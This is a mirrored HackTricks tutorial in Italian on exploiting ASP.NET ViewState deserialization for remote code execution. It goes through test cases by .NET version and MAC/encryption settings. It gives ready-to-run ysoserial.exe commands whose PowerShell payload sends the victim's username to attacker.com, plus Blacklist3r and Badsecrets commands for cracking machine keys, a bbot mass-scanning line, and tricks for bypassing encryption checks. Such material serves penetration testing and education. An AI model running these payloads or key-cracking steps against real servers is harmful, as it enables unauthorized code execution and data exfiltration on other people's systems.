mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
246 lines
18 KiB
Markdown
246 lines
18 KiB
Markdown
# Exploiting \_\_VIEWSTATE without knowing the secrets
|
||
|
||
<details>
|
||
|
||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||
|
||
Altri modi per supportare HackTricks:
|
||
|
||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
|
||
|
||
</details>
|
||
|
||
<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Suggerimento per bug bounty**: **iscriviti** a **Intigriti**, una piattaforma premium per **bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi e inizia a guadagnare ricompense fino a **$100,000**!
|
||
|
||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||
|
||
## Cos'è ViewState
|
||
|
||
**ViewState** funge da meccanismo predefinito in ASP.NET per mantenere i dati della pagina e dei controlli attraverso le pagine web. Durante il rendering dell'HTML di una pagina, lo stato attuale della pagina e i valori da preservare durante un postback vengono serializzati in stringhe codificate in base64. Queste stringhe vengono quindi inserite nei campi ViewState nascosti.
|
||
|
||
Le informazioni di ViewState possono essere caratterizzate dalle seguenti proprietà o dalle loro combinazioni:
|
||
|
||
* **Base64**:
|
||
* Questo formato viene utilizzato quando sia gli attributi `EnableViewStateMac` che `ViewStateEncryptionMode` sono impostati su false.
|
||
* **Base64 + MAC (Message Authentication Code) abilitato**:
|
||
* L'attivazione del MAC viene ottenuta impostando l'attributo `EnableViewStateMac` su true. Questo fornisce la verifica dell'integrità dei dati di ViewState.
|
||
* **Base64 + Crittografato**:
|
||
* La crittografia viene applicata quando l'attributo `ViewStateEncryptionMode` è impostato su true, garantendo la riservatezza dei dati di ViewState.
|
||
|
||
## Casi di Test
|
||
|
||
L'immagine è una tabella che dettaglia diverse configurazioni per ViewState in ASP.NET basate sulla versione del framework .NET. Ecco un riassunto dei contenuti:
|
||
|
||
1. Per **qualsiasi versione di .NET**, quando sia il MAC che la crittografia sono disabilitati, non è richiesta una MachineKey e quindi non c'è un metodo applicabile per identificarla.
|
||
2. Per le **versioni precedenti alla 4.5**, se il MAC è abilitato ma la crittografia no, è richiesta una MachineKey. Il metodo per identificare la MachineKey è chiamato "Blacklist3r."
|
||
3. Per le **versioni precedenti alla 4.5**, indipendentemente dal fatto che il MAC sia abilitato o disabilitato, se la crittografia è abilitata, è necessaria una MachineKey. Identificare la MachineKey è compito di "Blacklist3r - Sviluppo futuro."
|
||
4. Per le **versioni dalla 4.5 in poi**, tutte le combinazioni di MAC e crittografia (sia che entrambi siano true, sia che uno sia true e l'altro false) richiedono una MachineKey. La MachineKey può essere identificata utilizzando "Blacklist3r."
|
||
|
||
### Caso di Test: 1 – EnableViewStateMac=false e viewStateEncryptionMode=false
|
||
|
||
È anche possibile disabilitare completamente il ViewStateMAC impostando la chiave di registro `AspNetEnforceViewStateMac` su zero in:
|
||
|
||
```
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||
```
|
||
|
||
**Identificazione degli attributi di ViewState**
|
||
|
||
Puoi cercare di identificare se ViewState è protetto da MAC catturando una richiesta contenente questo parametro con BurpSuite. Se Mac non viene utilizzato per proteggere il parametro, puoi sfruttarlo utilizzando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||
|
||
```
|
||
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
|
||
```
|
||
|
||
### Caso di test 1.5 - Come il caso di test 1 ma il cookie ViewState non viene inviato dal server
|
||
|
||
Gli sviluppatori possono **rimuovere ViewState** dal diventare parte di una Richiesta HTTP (l'utente non riceverà questo cookie).\
|
||
Si potrebbe presumere che se **ViewState** non è **presente**, la loro implementazione è **sicura** da potenziali vulnerabilità che potrebbero sorgere con la deserializzazione di ViewState.\
|
||
Tuttavia, non è così. Se **aggiungiamo il parametro ViewState** al corpo della richiesta e inviamo il nostro payload serializzato creato usando ysoserial, saremo comunque in grado di ottenere **esecuzione del codice** come mostrato nel **Caso 1**.
|
||
|
||
### Caso di test: 2 - .Net < 4.5 e EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||
|
||
Per **abilitare ViewState MAC** per una **pagina specifica** è necessario apportare le seguenti modifiche a un file aspx specifico:
|
||
|
||
```bash
|
||
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
|
||
```
|
||
|
||
Possiamo farlo anche per l'applicazione **globale** impostandolo nel file **web.config** come mostrato di seguito:
|
||
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<configuration>
|
||
<system.web>
|
||
<customErrors mode="Off" />
|
||
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
|
||
<pages enableViewStateMac="true" />
|
||
</system.web>
|
||
</configuration>
|
||
```
|
||
|
||
Poiché il parametro è protetto da MAC questa volta, per eseguire con successo l'attacco abbiamo bisogno prima della chiave utilizzata.
|
||
|
||
Puoi provare a utilizzare [**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) per trovare la chiave utilizzata.
|
||
|
||
```
|
||
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
|
||
|
||
--encrypteddata : __VIEWSTATE parameter value of the target application
|
||
--modifier : __VIWESTATEGENERATOR parameter value
|
||
```
|
||
|
||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) è un altro strumento che può identificare machineKeys conosciute. È scritto in Python, quindi a differenza di Blacklist3r, non ha dipendenze da Windows. Per i viewstate di .NET, esiste un'utilità "python blacklist3r", che è il modo più rapido per utilizzarlo.
|
||
|
||
Può essere fornito direttamente con il viewstate e il generatore:
|
||
|
||
```
|
||
pip install badsecrets
|
||
git clone https://github.com/blacklanternsecurity/badsecrets
|
||
cd badsecrets
|
||
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
|
||
```
|
||
|
||
![https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png)
|
||
|
||
Oppure, può connettersi direttamente all'URL di destinazione e cercare di estrarre il viewstate dall'HTML:
|
||
|
||
```
|
||
pip install badsecrets
|
||
git clone https://github.com/blacklanternsecurity/badsecrets
|
||
cd badsecrets
|
||
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
|
||
```
|
||
|
||
![https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
|
||
|
||
Per cercare viewstate vulnerabili su larga scala, in congiunzione con l'enumerazione dei sottodomini, è possibile utilizzare il modulo `badsecrets` [**BBOT**](exploiting-\_\_viewstate-parameter.md):
|
||
|
||
```
|
||
bbot -f subdomain-enum -m badsecrets -t evil.corp
|
||
```
|
||
|
||
![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
|
||
|
||
Se sei fortunato e trovi la chiave, puoi procedere con l'attacco usando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
|
||
|
||
```
|
||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||
|
||
--generator = {__VIWESTATEGENERATOR parameter value}
|
||
```
|
||
|
||
In casi in cui il parametro `_VIEWSTATEGENERATOR` **non viene inviato** dal server, **non** è necessario **fornire** il parametro `--generator` **ma questi**:
|
||
|
||
```bash
|
||
--apppath="/" --path="/hello.aspx"
|
||
```
|
||
|
||
### Caso di test: 3 - .Net < 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true
|
||
|
||
In questo caso non si sa se il parametro è protetto con MAC. Quindi, il valore è probabilmente crittografato e avrai bisogno della Chiave di Macchina per crittografare il tuo payload per sfruttare la vulnerabilità.
|
||
|
||
**In questo caso il** [**modulo Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **è in fase di sviluppo...**
|
||
|
||
Prima di .NET 4.5, ASP.NET può accettare un parametro \_\_VIEWSTATE non crittografato dagli utenti anche se ViewStateEncryptionMode è stato impostato su Always. ASP.NET controlla solo la presenza del parametro \_\_VIEWSTATEENCRYPTED nella richiesta. Se si rimuove questo parametro e si invia il payload non crittografato, verrà comunque elaborato.
|
||
|
||
Pertanto, se gli attaccanti trovano un modo per ottenere la Chiave di Macchina tramite un'altra vulnerabilità come il travaso di file, il comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilizzato nel **Caso 2**, può essere utilizzato per eseguire RCE sfruttando la vulnerabilità di deserializzazione ViewState.
|
||
|
||
* Rimuovere il parametro `__VIEWSTATEENCRYPTED` dalla richiesta per sfruttare la vulnerabilità di deserializzazione ViewState, altrimenti restituirà un errore di convalida MAC ViewState e lo sfruttamento fallirà.
|
||
|
||
### Caso di test: 4 - .Net >= 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true/false eccetto entrambi gli attributi impostati su false
|
||
|
||
Possiamo forzare l'utilizzo del framework ASP.NET specificando il parametro seguente all'interno del file web.config come mostrato di seguito.
|
||
|
||
```xml
|
||
<httpRuntime targetFramework="4.5" />
|
||
```
|
||
|
||
Oppure, ciò può essere fatto specificando l'opzione seguente all'interno del parametro `machineKey` del file web.config.
|
||
|
||
```bash
|
||
compatibilityMode="Framework45"
|
||
```
|
||
|
||
Come nel caso precedente il **valore è crittografato.** Quindi, per inviare un **payload valido l'attaccante ha bisogno della chiave**.
|
||
|
||
Puoi provare a utilizzare [**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) per trovare la chiave in uso:
|
||
|
||
```
|
||
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
|
||
|
||
--encrypteddata = {__VIEWSTATE parameter value}
|
||
--IISDirPath = {Directory path of website in IIS}
|
||
--TargetPagePath = {Target page path in application}
|
||
```
|
||
|
||
Per una descrizione più dettagliata di IISDirPath e TargetPagePath [fare riferimento qui](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||
|
||
Oppure, con [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (con un valore generatore):
|
||
|
||
```bash
|
||
cd badsecrets
|
||
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
|
||
```
|
||
|
||
![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
|
||
|
||
Una volta identificata una chiave di macchina valida, **il passo successivo è generare un payload serializzato usando** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||
|
||
```
|
||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||
```
|
||
|
||
Se hai il valore di `__VIEWSTATEGENERATOR` puoi provare a **utilizzare** il parametro `--generator` con quel valore e **omettere** i parametri `--path` e `--apppath`
|
||
|
||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png)
|
||
|
||
Un'exploit riuscita della vulnerabilità di deserializzazione di ViewState porterà a una richiesta out-of-band a un server controllato dall'attaccante, che include il nome utente. Questo tipo di exploit è dimostrato in un proof of concept (PoC) che può essere trovato attraverso una risorsa intitolata "Sfruttare la deserializzazione di ViewState utilizzando Blacklist3r e YsoSerial.NET". Per ulteriori dettagli su come funziona il processo di sfruttamento e su come utilizzare strumenti come Blacklist3r per identificare il MachineKey, puoi consultare il [PoC di Sfruttamento Riuscito](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) fornito.
|
||
|
||
### Caso di Test 6 – ViewStateUserKeys viene utilizzato
|
||
|
||
La proprietà **ViewStateUserKey** può essere utilizzata per **difendersi** da un **attacco CSRF**. Se una tale chiave è stata definita nell'applicazione e proviamo a generare il payload **ViewState** con i metodi discussi finora, il **payload non verrà elaborato dall'applicazione**.\
|
||
È necessario utilizzare un altro parametro per creare correttamente il payload:
|
||
|
||
```bash
|
||
--viewstateuserkey="randomstringdefinedintheserver"
|
||
```
|
||
|
||
### Risultato di un'exploit riuscita <a href="#poc" id="poc"></a>
|
||
|
||
Per tutti i casi di test, se il payload ViewState YSoSerial.Net funziona **correttamente** il server risponde con un "**errore interno del server 500**" avendo come contenuto di risposta "**Le informazioni di stato non sono valide per questa pagina e potrebbero essere corrotte**" e otteniamo la richiesta OOB.
|
||
|
||
Controlla per [ulteriori informazioni qui](https://github.com/carlospolop/hacktricks/blob/it/pentesting-web/deserialization/\[\*\*https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/\*\*]\(https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/\)/README.md)
|
||
|
||
## Riferimenti
|
||
|
||
* [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
|
||
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||
|
||
<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Suggerimento per bug bounty**: **iscriviti** a **Intigriti**, una piattaforma premium per **bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi stesso e inizia a guadagnare taglie fino a **$100,000**!
|
||
|
||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Altri modi per supportare HackTricks:
|
||
|
||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|